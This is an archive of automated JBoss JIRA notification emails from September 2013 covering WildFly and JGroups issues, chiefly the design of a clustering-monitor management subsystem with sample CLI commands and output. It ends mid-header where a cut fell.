References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.1586.1380023385519@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806873#comment-12806873 ] 

RH Bugzilla Integration commented on WFLY-2076:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1006803|https://bugzilla.redhat.com/show_bug.cgi?id=1006803] from ASSIGNED to MODIFIED
                
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:51:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 24 Sep 2013 07:51:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2144) jboss-cli should set
 -Djava.awt.headless=true
In-Reply-To: <JIRA.12501378.1380023293000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501378.1380023293000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501378.1380023293000.1599.1380023505519@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2144?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806876#comment-12806876 ] 

Darran Lofthouse commented on WFLY-2144:
----------------------------------------

The CLI also has a GUI mode, I would expect adding -Djava.awt.headless=true to break that.
                
> jboss-cli should set -Djava.awt.headless=true
> ---------------------------------------------
>
>                 Key: WFLY-2144
>                 URL: https://issues.jboss.org/browse/WFLY-2144
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Robin Rosenberg
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>
> On OS X using jboss-cli.sh will cause focus to shift making it very inconvenient to do other things while scripts that talk to jboss execute.
> There is a workaround: export JAVA_OPTS=-Djava.awt.headless=true before invoking the cli, but I see no reason for the CLI not do this itself. This also applied to the adduser.sh script.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 07:51:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 24 Sep 2013 07:51:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.1604.1380023505712@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806877#comment-12806877 ] 

Bela Ban commented on JGRP-1675:
--------------------------------

OK. I thought that Infinispan now has an internal thread pool, so it doesn't reuse (or rather: abuse :-)) JGroups threads anymore ?
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 08:06:45 2013
From: jira-events at lists.jboss.org (Radim Vansa (JIRA))
Date: Tue, 24 Sep 2013 08:06:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.1613.1380024405617@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806880#comment-12806880 ] 

Radim Vansa commented on JGRP-1675:
-----------------------------------

Each command has canBlock() method - if this cannot (such as Get commands which just lookup the container, ignoring any locks and never waiting for another message), it's executed directly. 
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 08:14:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 08:14:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1868) Enable build on non en_US
	locale machine
In-Reply-To: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498468.1376385973000.1628.1380024885275@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1868?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806882#comment-12806882 ] 

RH Bugzilla Integration commented on WFLY-1868:
-----------------------------------------------

Pavel Jelinek <pjelinek at redhat.com> made a comment on [bug 1003603|https://bugzilla.redhat.com/show_bug.cgi?id=1003603]

Verified for EAP 6.2.0.ER1.
                
> Enable build  on non en_US locale machine
> -----------------------------------------
>
>                 Key: WFLY-1868
>                 URL: https://issues.jboss.org/browse/WFLY-1868
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 08:14:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 08:14:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1868) Enable build on non en_US
	locale machine
In-Reply-To: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498468.1376385973000.1631.1380024885450@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1868?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806883#comment-12806883 ] 

RH Bugzilla Integration commented on WFLY-1868:
-----------------------------------------------

Pavel Jelinek <pjelinek at redhat.com> changed the Status of [bug 1003603|https://bugzilla.redhat.com/show_bug.cgi?id=1003603] from ON_QA to VERIFIED
                
> Enable build  on non en_US locale machine
> -----------------------------------------
>
>                 Key: WFLY-1868
>                 URL: https://issues.jboss.org/browse/WFLY-1868
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 08:38:45 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 08:38:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1703.1380026325700@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806891#comment-12806891 ] 

Richard Achmatowicz commented on WFLY-1430:
-------------------------------------------

I'll provide an update of what is happening with the clustering-subsystem.

1. The organization of resources has changed to reflect EE module deployments. 

Previously we had this:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
{noformat}
where channel=X represented a cache container on channel X and its attributes, and channel=X/deployment=Y represented a web session cache Y on a channel X. The problem here is that the deployments which contain the distributable web apps or the @Clustered SFSBs are not represented. These have now been added as part of the resource organization. 

Now the resources are organised as follows:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
/subsystem=clustering-monitor/channel=*/deployment=*/web=WEB
/subsystem=clustering-monitor/channel=*/deployment=*/bean=*
{noformat}
Now, channel=X/deployment=Y represents a deployment Y on a channel X, channel=X/deployment=Y/web=WEB represents a web session cache used by a deployment Y on a channel X and channel=X/deployment=Y/bean=Z represents a bean session cache for a @Clustered bean Z used by a deployment Y on a channel X.

The idea here is that if users are interested in their clustered application deployment, they can navigate to the web session caches and or SFSB session caches by choosing the appropriate deployment name. 

2. A ClusteredDeploymentRepository has been added

It is not easy to pick up EE module deployment information using the service registry alone, so I wrote a deployment processor for the clustering-monitor subsystem which populated its own repository of clustered deployment information. So when the clustering-monitor subsystem starts up, it creates a service called ClusteredDeploymentRepository and also installs a deployment processor which populates the repository with information. Whenever a deployment happens, the deployment processor inspects the deployment and , if clustered, stores relevant information(in this case container and cache information for session caches) in the repository. The resource handlers for the clustering subsystem access that repository in order to find out which resources exist for deployment=Y, web=WEB and bean=Z resources.
     
   

                
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 08:40:45 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 08:40:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1720.1380026445907@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806891#comment-12806891 ] 

Richard Achmatowicz edited comment on WFLY-1430 at 9/24/13 8:40 AM:
--------------------------------------------------------------------

I'll provide an update of what is happening with the clustering-subsystem.

1. The organization of resources has changed to reflect EE module deployments. 

Previously we had this:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
{noformat}
where channel=X represented a cache container on channel X and its attributes, and channel=X/deployment=Y represented a web session cache Y on a channel X. The problem here is that the deployments which contain the distributable web apps or the @Clustered SFSBs are not represented. Also, bean session caches were not represented. These have now been added as part of the resource organization. 

Now the resources are organised as follows:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
/subsystem=clustering-monitor/channel=*/deployment=*/web=WEB
/subsystem=clustering-monitor/channel=*/deployment=*/bean=*
{noformat}
Now, channel=X/deployment=Y represents a deployment Y on a channel X, channel=X/deployment=Y/web=WEB represents a web session cache used by a deployment Y on a channel X and channel=X/deployment=Y/bean=Z represents a bean session cache for a @Clustered bean Z used by a deployment Y on a channel X.

The idea here is that if users are interested in their clustered application deployment, they can navigate to the web session caches and or SFSB session caches by choosing the appropriate deployment name. 

2. A ClusteredDeploymentRepository has been added

It is not easy to pick up EE module deployment information using the service registry alone, so I wrote a deployment processor for the clustering-monitor subsystem which populated its own repository of clustered deployment information. So when the clustering-monitor subsystem starts up, it creates a service called ClusteredDeploymentRepository and also installs a deployment processor which populates the repository with information. Whenever a deployment happens, the deployment processor inspects the deployment and , if clustered, stores relevant information(in this case container and cache information for session caches) in the repository. The resource handlers for the clustering subsystem access that repository in order to find out which resources exist for deployment=Y, web=WEB and bean=Z resources.
     
   

                
      was (Author: rachmato):
    I'll provide an update of what is happening with the clustering-subsystem.

1. The organization of resources has changed to reflect EE module deployments. 

Previously we had this:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
{noformat}
where channel=X represented a cache container on channel X and its attributes, and channel=X/deployment=Y represented a web session cache Y on a channel X. The problem here is that the deployments which contain the distributable web apps or the @Clustered SFSBs are not represented. These have now been added as part of the resource organization. 

Now the resources are organised as follows:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
/subsystem=clustering-monitor/channel=*/deployment=*/web=WEB
/subsystem=clustering-monitor/channel=*/deployment=*/bean=*
{noformat}
Now, channel=X/deployment=Y represents a deployment Y on a channel X, channel=X/deployment=Y/web=WEB represents a web session cache used by a deployment Y on a channel X and channel=X/deployment=Y/bean=Z represents a bean session cache for a @Clustered bean Z used by a deployment Y on a channel X.

The idea here is that if users are interested in their clustered application deployment, they can navigate to the web session caches and or SFSB session caches by choosing the appropriate deployment name. 

2. A ClusteredDeploymentRepository has been added

It is not easy to pick up EE module deployment information using the service registry alone, so I wrote a deployment processor for the clustering-monitor subsystem which populated its own repository of clustered deployment information. So when the clustering-monitor subsystem starts up, it creates a service called ClusteredDeploymentRepository and also installs a deployment processor which populates the repository with information. Whenever a deployment happens, the deployment processor inspects the deployment and , if clustered, stores relevant information(in this case container and cache information for session caches) in the repository. The resource handlers for the clustering subsystem access that repository in order to find out which resources exist for deployment=Y, web=WEB and bean=Z resources.
     
   

                  
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 08:48:45 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 08:48:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1763.1380026925864@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806898#comment-12806898 ] 

Richard Achmatowicz commented on WFLY-1430:
-------------------------------------------

So, we now have commands like this:
{noformat}
[standalone at localhost:9990 /] deploy ~/maven/distributable.war
[standalone at localhost:9990 /] deploy ~/maven/my-ejb-project/target/my-ejb-project-1.0-SNAPSHOT.jar
[standalone at localhost:9990 /] /subsystem=clustering-monitor/cluster=
ejb  web
[standalone at localhost:9990 /] /subsystem=clustering-monitor/cluster=web
:  /
[standalone at localhost:9990 /] /subsystem=clustering-monitor/cluster=web/deployment=distributable.war/
bean  web
[standalone at localhost:9990 /] /subsystem=clustering-monitor/cluster=web/deployment=distributable.war/web=WEB:read-resource(include-runtime=true)
{   
    "outcome" => "success",
    "result" => {
        "cache-view" => [("lenovo/web" => "[lenovo/web]")],
        "distribution" => [("lenovo/web" => "cache entries: 0")],
        "operation-stats" => [("lenovo/web" => "get(hits): 0, get(misses): 0, puts 0, remove(hits): 0, remove(misses): 0")],
        "rpc-stats" => [("lenovo/web" => "RPC count: 0, RPC failures: 0")],
        "txn-stats" => [("lenovo/web" => "prepares: 0, commits: 0, rollbacks: 0")]
    }
}
[standalone at localhost:9990 /] /subsystem=clustering-monitor/cluster=ejb/deployment=my-ejb-project-1.0-SNAPSHOT.jar/                       
bean  web
[standalone at localhost:9990 /] /subsystem=clustering-monitor/cluster=ejb/deployment=my-ejb-project-1.0-SNAPSHOT.jar/bean=CounterBean:read-resource(include-runtime=true)
{   
    "outcome" => "success",
    "result" => {
        "cache-view" => [("lenovo/ejb" => "[lenovo/ejb]")],
        "distribution" => [("lenovo/ejb" => "cache entries: 0")],
        "operation-stats" => [("lenovo/ejb" => "get(hits): 0, get(misses): 0, puts 0, remove(hits): 0, remove(misses): 0")],
        "rpc-stats" => [("lenovo/ejb" => "RPC count: 0, RPC failures: 0")],
        "txn-stats" => [("lenovo/ejb" => "prepares: 0, commits: 0, rollbacks: 0")]
    }
}
{noformat}

                
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:05:45 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Tue, 24 Sep 2013 09:05:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1787.1380027945492@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806901#comment-12806901 ] 

Tomaz Cerar commented on WFLY-1430:
-----------------------------------

how is operation-stats defined?

{noformat}
 "operation-stats" => [("lenovo/web" => "get(hits): 0, get(misses): 0, puts 0, remove(hits): 0, remove(misses): 0")],
{noformat}
as looking at this result it seems as value is just "string" which might cause problems for external monitoring software that would like to analyze this stats.
                
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:07:45 2013
From: jira-events at lists.jboss.org (Robin Rosenberg (JIRA))
Date: Tue, 24 Sep 2013 09:07:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2144) jboss-cli should set
 -Djava.awt.headless=true
In-Reply-To: <JIRA.12501378.1380023293000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501378.1380023293000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501378.1380023293000.1793.1380028065258@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2144?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806903#comment-12806903 ] 

Robin Rosenberg commented on WFLY-2144:
---------------------------------------

Only if --gui is not passed as an option.

                
> jboss-cli should set -Djava.awt.headless=true
> ---------------------------------------------
>
>                 Key: WFLY-2144
>                 URL: https://issues.jboss.org/browse/WFLY-2144
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>            Reporter: Robin Rosenberg
>            Assignee: Alexey Loubyansky
>            Priority: Minor
>
> On OS X using jboss-cli.sh will cause focus to shift making it very inconvenient to do other things while scripts that talk to jboss execute.
> There is a workaround: export JAVA_OPTS=-Djava.awt.headless=true before invoking the cli, but I see no reason for the CLI not do this itself. This also applied to the adduser.sh script.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:11:45 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Tue, 24 Sep 2013 09:11:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1809.1380028305854@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806906#comment-12806906 ] 

Radoslav Husar commented on WFLY-1430:
--------------------------------------

+1 This would best be JSON-like format which is a little more verbose but easier to parse and view
                
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:16:47 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 09:16:47 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1826.1380028607031@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806891#comment-12806891 ] 

Richard Achmatowicz edited comment on WFLY-1430 at 9/24/13 9:16 AM:
--------------------------------------------------------------------

I'll provide an update of what is happening with the clustering-subsystem.

1. The organization of resources has changed to reflect EE module deployments. 

Previously we had this:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
{noformat}
where channel=X represented a cache container on channel X and its attributes, and channel=X/deployment=Y represented a web session cache Y on a channel X. The problem here is that the deployments which contain the distributable web apps or the @Clustered SFSBs are not represented. Also, bean session caches were not represented. These have now been added as part of the resource organization. 

Now the resources are organised as follows:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/cluster=*
/subsystem=clustering-monitor/cluster=*/deployment=*
/subsystem=clustering-monitor/cluster=*/deployment=*/web=WEB
/subsystem=clustering-monitor/cluster=*/deployment=*/bean=*
{noformat}
Now, cluster=X/deployment=Y represents a deployment Y on a channel X, cluster=X/deployment=Y/web=WEB represents a web session cache used by a deployment Y on a channel X and cluster=X/deployment=Y/bean=Z represents a bean session cache for a @Clustered bean Z used by a deployment Y on a channel X.

The idea here is that if users are interested in their clustered application deployment, they can navigate to the web session caches and or SFSB session caches by choosing the appropriate deployment name. 

2. A ClusteredDeploymentRepository has been added

It is not easy to pick up EE module deployment information using the service registry alone, so I wrote a deployment processor for the clustering-monitor subsystem which populated its own repository of clustered deployment information. So when the clustering-monitor subsystem starts up, it creates a service called ClusteredDeploymentRepository and also installs a deployment processor which populates the repository with information. Whenever a deployment happens, the deployment processor inspects the deployment and , if clustered, stores relevant information(in this case container and cache information for session caches) in the repository. The resource handlers for the clustering subsystem access that repository in order to find out which resources exist for deployment=Y, web=WEB and bean=Z resources.
     
   

                
      was (Author: rachmato):
    I'll provide an update of what is happening with the clustering-subsystem.

1. The organization of resources has changed to reflect EE module deployments. 

Previously we had this:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
{noformat}
where channel=X represented a cache container on channel X and its attributes, and channel=X/deployment=Y represented a web session cache Y on a channel X. The problem here is that the deployments which contain the distributable web apps or the @Clustered SFSBs are not represented. Also, bean session caches were not represented. These have now been added as part of the resource organization. 

Now the resources are organised as follows:
{noformat}
/subsystem=clustering-monitor
/subsystem=clustering-monitor/channel=*
/subsystem=clustering-monitor/channel=*/deployment=*
/subsystem=clustering-monitor/channel=*/deployment=*/web=WEB
/subsystem=clustering-monitor/channel=*/deployment=*/bean=*
{noformat}
Now, channel=X/deployment=Y represents a deployment Y on a channel X, channel=X/deployment=Y/web=WEB represents a web session cache used by a deployment Y on a channel X and channel=X/deployment=Y/bean=Z represents a bean session cache for a @Clustered bean Z used by a deployment Y on a channel X.

The idea here is that if users are interested in their clustered application deployment, they can navigate to the web session caches and or SFSB session caches by choosing the appropriate deployment name. 

2. A ClusteredDeploymentRepository has been added

It is not easy to pick up EE module deployment information using the service registry alone, so I wrote a deployment processor for the clustering-monitor subsystem which populated its own repository of clustered deployment information. So when the clustering-monitor subsystem starts up, it creates a service called ClusteredDeploymentRepository and also installs a deployment processor which populates the repository with information. Whenever a deployment happens, the deployment processor inspects the deployment and , if clustered, stores relevant information(in this case container and cache information for session caches) in the repository. The resource handlers for the clustering subsystem access that repository in order to find out which resources exist for deployment=Y, web=WEB and bean=Z resources.
     
   

                  
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:20:45 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 09:20:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
